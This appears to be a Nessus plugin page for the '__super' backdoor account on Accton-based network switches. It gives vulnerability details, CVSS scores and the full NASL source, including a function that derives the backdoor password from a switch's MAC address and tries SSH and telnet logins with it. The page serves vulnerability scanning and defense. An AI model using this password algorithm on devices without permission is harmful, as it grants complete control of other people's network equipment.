Multiple Switch Vendors '__super' Account Backdoor - Nessus

High Plugin ID: 49217

This page contains detailed information about the Multiple Switch Vendors '__super' Account Backdoor Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 49217
Name: Multiple Switch Vendors '__super' Account Backdoor
Filename: accton_super_user_backdoor.nasl
Vulnerability Published: 2009-08-15
This Plugin Published: 2010-09-14
Last Modification Time: 2020-06-12
Plugin Version: 1.19
Plugin Type: remote
Plugin Family: Gain a shell remotely
Dependencies: find_service1.nasl, ifconfig_mac.nasl, snmp_ifaces.nasl, ssh_detect.nasl
Excluded KB Items [?]: global_settings/supplied_logins_only

Vulnerability Information

Severity: High
Vulnerability Published: 2009-08-15
Patch Published: N/A
CVE [?]: N/A
CPE [?]: N/A
Default Account Vulnerability: True

Synopsis

It is possible to log on the remote network switch with a default password.

Description

Nessus was able to log into the remote host as the '__super' user and a password based on the switch's MAC address. This is likely a built-in account that cannot be disabled and whose password cannot be changed.

A remote attacker with knowledge of this switch's MAC address could exploit this by logging in and gaining complete control of the device.

Solution

There is no known solution at this time. Restrict access to this device.

Public Exploits

Target Network Port(s): 22, 23
Target Asset(s): Services/ssh, Services/telnet
Exploit Available: True (Exploit-DB)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Multiple Switch Vendors '__super' Account Backdoor vulnerability:

Exploit-DB: exploits/multiple/remote/14875.txt
[EDB-14875: Accton-based switches (3com / Dell / SMC / Foundry / EdgeCore) - Backdoor Password]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:A/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:W/RC:ND

CVSS Base Score:	8.3 (High)
Impact Subscore:	10.0
Exploitability Subscore:	6.5
CVSS Temporal Score:	7.5 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	7.5 (High)

CVSS V3 Vector: CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS Base Score:	8.8 (High)
Impact Subscore:	5.9
Exploitability Subscore:	2.8
CVSS Temporal Score:	NA (None)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	8.8 (High)

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Plugin Source

#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");


if (description)
{
  script_id(49217);
  script_version("1.19");
  script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");

  script_bugtraq_id(42947);
  script_xref(name:"EDB-ID", value:"14875");

  script_name(english:"Multiple Switch Vendors '__super' Account Backdoor");
  script_summary(english:"Tries to login as __super with a pw based on the MAC");

  script_set_attribute(
    attribute:"synopsis",
    value:
"It is possible to log on the remote network switch with a
default password."
  );
  script_set_attribute(
    attribute:"description",
    value:
"Nessus was able to log into the remote host as the '__super' user
and a password based on the switch's MAC address.  This is likely
a built-in account that cannot be disabled and whose password
cannot be changed.

A remote attacker with knowledge of this switch's MAC address could
exploit this by logging in and gaining complete control of the
device."
  );
  script_set_attribute(attribute:"see_also", value:"https://har2009.org/program/events/103.en.html");
  script_set_attribute(attribute:"see_also", value:"http://www.vettebak.nl/hak/");
  script_set_attribute(
    attribute:"solution",
    value:
"There is no known solution at this time.  Restrict access to
this device."
  );
  script_set_cvss_base_vector("CVSS2#AV:A/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:W/RC:ND");
  script_set_cvss3_base_vector("CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2009/08/15");
  script_set_attribute(attribute:"plugin_publication_date", value:"2010/09/14");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"default_account", value:"true");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"Gain a shell remotely");

  script_copyright(english:"This script is Copyright (C) 2010-2020 Tenable Network Security, Inc.");

  script_dependencies("find_service1.nasl", "ssh_detect.nasl", "snmp_ifaces.nasl", "ifconfig_mac.nasl");
  script_require_ports("Services/ssh", 22, "Services/telnet", 23);
  script_exclude_keys("global_settings/supplied_logins_only");

  exit(0);
}

include("compat_shared.inc");
include("ssh_func.inc");
include("telnet_func.inc");

enable_ssh_wrappers();

if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);


LOGIN_SUCCESS = 0;
LOGIN_FAILED = -1;
PORT_CLOSED = -2;
CONNECTION_FAILED = -3;
NO_PROMPT = -4;
NO_RESPONSE = -5;


function get_error_msg(code, port)
{
  if (code == LOGIN_FAILED)
    return 'The login attempt on port '+port+' failed.';
  else if (code == PORT_CLOSED)
    return 'Port '+port+' is not open.';
  else if (code == CONNECTION_FAILED)
    return 'Failed to open a socket on port '+port+'.';
  else if (code == NO_PROMPT)
    return 'Unable to get telnet prompt from port '+port+'.';
  else if (code == NO_RESPONSE)
    return 'The service on port '+port+' failed to respond.';
  else
    return 'Unexpected error on port '+port+'.';
}

function check_ssh(port, login, password)
{
  local_var soc, res, line, payload, remote_channel;

  checking_default_account_dont_report = TRUE;

  if (!get_port_state(port)) return PORT_CLOSED;

  _ssh_socket = open_sock_tcp(port);
  if ( !_ssh_socket ) return CONNECTION_FAILED;

  res = ssh_login(login:login, password:password);

  if (res == LOGIN_SUCCESS)
  {
    # code taken from default_account.inc
    #
    # Some SSH servers do not fully respect the SSH protocol - they
    # claim that password authentication succeeded, but then
    # they'll refuse any other command. The workaround here is to
    # open a SSH, as if we wanted to create an interactive session.
    #
    # Note that we do not use ssh_open_channel() but a stripped down version.
    #
    payload = putstring(buffer:"session") + raw_int32(i:1) + raw_int32(i:32768) + raw_int32(i:32768);
    send_ssh_packet(payload:payload, code:raw_int8(i:90));
    payload = recv_ssh_packet();
    if ( !isnull(payload) )
    {
      # Fix for tectia AIX
      if (ord(payload[0]) == 95)
      {
        payload = getstring(buffer:payload, pos:9);
        payload = recv_ssh_packet();
      }
      if ( !isnull(payload) && ord(payload[0]) == 91 )
      {
        remote_channel = ntol(buffer:payload, begin:5);
        payload = raw_int32(i:remote_channel) + putstring(buffer:"pty-req") + raw_int8(i:0) +
        putstring(buffer:"vt100") + raw_int32(i:80) + raw_int32(i:24) + raw_int32(i:640) + raw_int32(i:480) +
        putstring(buffer:
                             raw_int8(i:53) + raw_int32(i:0) +
                             raw_int8(i:72) + raw_int32(i:0) +
                             raw_int8(i:0));

        # SSH_MSG_CHANNEL_REQUEST == 98
        send_ssh_packet(payload:payload, code:raw_int8(i:98));
        payload = raw_int32(i:remote_channel) + putstring(buffer:"shell") + raw_int8(i:0) ;
        # SSH_MSG_CHANNEL_REQUEST == 98
        send_ssh_packet(payload:payload, code:raw_int8(i:98));
        payload = recv_ssh_packet();
        while(!isnull(payload) && ((ord(payload[0]) == 93) || (ord(payload[0]) == 95) || (ord(payload[0])  == 98)))   payload = recv_ssh_packet();
        if ( ord(payload[0]) == 94 )
        {
          payload = getstring(buffer:payload, pos:5);
          if ( "invalid login" >!< payload )  # Infoblox
          {
            ssh_close_connection();
            return LOGIN_SUCCESS;
          }
        }
      }
    }
  }

  ssh_close_connection();

  return LOGIN_FAILED;
}

function check_telnet(port, login, password)
{
  local_var soc, res, line;
  if (!get_port_state(port)) return PORT_CLOSED;

  soc = open_sock_tcp(port);
  if(!soc) return CONNECTION_FAILED;

  res = telnet_negotiate(socket:soc);
  res += recv_until(socket:soc, pattern:"(name|ogin):");
  if (!res) return NO_PROMPT;

  send(socket:soc, data:login + '\r\n');
  res = recv_until(socket:soc, pattern:"word:");
  if (isnull(res))
  {
    close(soc);
    return NO_RESPONSE;
  }

  send(socket:soc, data:password + '\r\n');
  res = recv(socket:soc, length:256);
  close(soc);

  if (isnull(res)) return NO_RESPONSE;

  if (
    'Menu options' >< res ||  # 3com
    'Console#' >< res         # Dell
  ) return LOGIN_SUCCESS;
  else return LOGIN_FAILED;
}

# convert a hex string ('ff') to an int (0xff)
function internal_hex2raw2()
{
  local_var s, i, j, ret, l;
  s = _FCT_ANON_ARGS[0];

  if (strlen(s) == 1) s = '0' + s;
  l = strlen(s);
  ret = NULL;
  for(i=0;i<l;i+=2)
  {
    if(ord(s[i]) >= ord("0") && ord(s[i]) <= ord("9"))
      j = int(s[i]);
    else
      j = int((ord(s[i]) - ord("a")) + 10);
    j *= 16;
    if(ord(s[i+1]) >= ord("0") && ord(s[i+1]) <= ord("9"))
      j += int(s[i+1]);
    else
      j += int((ord(s[i+1]) - ord("a")) + 10);
    ret += raw_string(j);
  }
  return ret;
}

function translate_char()
{
  local_var char;
  char = _FCT_ANON_ARGS[0];

  char = char % 0x4b;

  if (char <= 9 || (char > 0x10 && char < 0x2a) || char > 0x30)
    return mkbyte(char + 0x30);
  else
    return '!';
}

function mac_to_pw()
{
  local_var mac, mac_list, i, pw, char;
  mac = _FCT_ANON_ARGS[0];
  pw = '';

  mac_list = split(mac, sep:':', keep:FALSE);
  for (i = 0; i < 6; i++)
  {
    mac_list[i] = internal_hex2raw2(mac_list[i]);
    mac_list[i] = getbyte(blob:mac_list[i], pos:0);
  }

  for (i = 0; i < 5; i++)
  {
    char = mac_list[i] + mac_list[i + 1];
    pw += translate_char(char);
  }

  for (i = 0; i < 3; i++)
  {
    char = mac_list[i] + mac_list[i + 1] + 0xf;
    pw += translate_char(char);
  }

  return pw;
}


#
# execution begins here
#

macs = make_list();

arp_mac = get_kb_item('ARP/mac_addr');
if (arp_mac) macs = make_list(macs, tolower(arp_mac));

snmp_macs = get_kb_list('SNMP/ifPhysAddress/*');
if (snmp_macs)
{
  foreach snmp_mac (make_list(snmp_macs))
    macs = make_list(macs, tolower(snmp_mac));
}

ifconfig_macs = get_kb_list('Host/ifconfig/mac_addr');
if (ifconfig_macs)
{
  foreach ifconfig_mac (make_list(ifconfig_macs))
    macs = make_list(macs, tolower(ifconfig_mac));
}

if (max_index(macs) == 0) exit(1, 'Unable to obtain MAC address.');

user = '__super';
macs = list_uniq(macs);
passwords = make_list();
errors = NULL;

foreach mac (macs)
  passwords = make_list(passwords, mac_to_pw(mac));

# First, try SSH
ssh_ports = get_kb_list('Services/ssh');
if (ssh_ports) ssh_ports = make_list(ssh_ports);
else ssh_ports = make_list(22);

foreach port (ssh_ports)
{
  # check if the server appears to authenticate anything
  res = check_ssh(port:port, login:'__user', password:rand_str(length:8));
  if (res == LOGIN_SUCCESS) continue;

  foreach pass (passwords)
  {
    ret = check_ssh(port:port, login:user, password:pass);

    if (ret == LOGIN_SUCCESS)
    {
      if (report_verbosity > 0)
      {
        report =
          '\n  Username : ' + user +
          '\n  Password : ' + pass + '\n';
        security_hole(port:port, extra:report);
      }
      else security_hole(port);
      exit(0);
    }
    else if (ret != LOGIN_FAILED)
      errors += get_error_msg(code:ret, port:port) + ' ';
  }
}

# Next, try telnet
telnet_ports = get_kb_list('Services/telnet');
if (telnet_ports) telnet_ports = make_list(telnet_ports);
else telnet_ports = make_list(23);

foreach port (telnet_ports)
{
  # check if the server appears to authenticate anything
  res = check_telnet(port:port, login:'__user', password:rand_str(length:8));
  if (res == LOGIN_SUCCESS) continue;

  foreach pass (passwords)
  {
    ret = check_telnet(port:port, login:user, password:pass);

    if (ret == LOGIN_SUCCESS)
    {
      if (report_verbosity > 0)
      {
        report =
          '\n  Username : ' + user +
          '\n  Password : ' + pass + '\n';
        security_hole(port:port, extra:report);
      }
      else security_hole(port);
      exit(0);
    }
    else if (ret != LOGIN_FAILED)
      errors += get_error_msg(code:ret, port:port) + ' ';
  }
}

if (isnull(errors))
  audit(AUDIT_HOST_NOT, 'affected');
else
  exit(1, errors);

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/accton_super_user_backdoor.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\accton_super_user_backdoor.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/accton_super_user_backdoor.nasl

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How to Run

Here is how to run the Multiple Switch Vendors '__super' Account Backdoor as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select Gain a shell remotely plugin family.
On the right side table select Multiple Switch Vendors '__super' Account Backdoor plugin ID 49217.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl accton_super_user_backdoor.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a accton_super_user_backdoor.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - accton_super_user_backdoor.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state accton_super_user_backdoor.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

42947

See also:

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Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file accton_super_user_backdoor.nasl version 1.19. For more plugins, visit the Nessus Plugin Library.

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Multiple Switch Vendors '__super' Account Backdoor - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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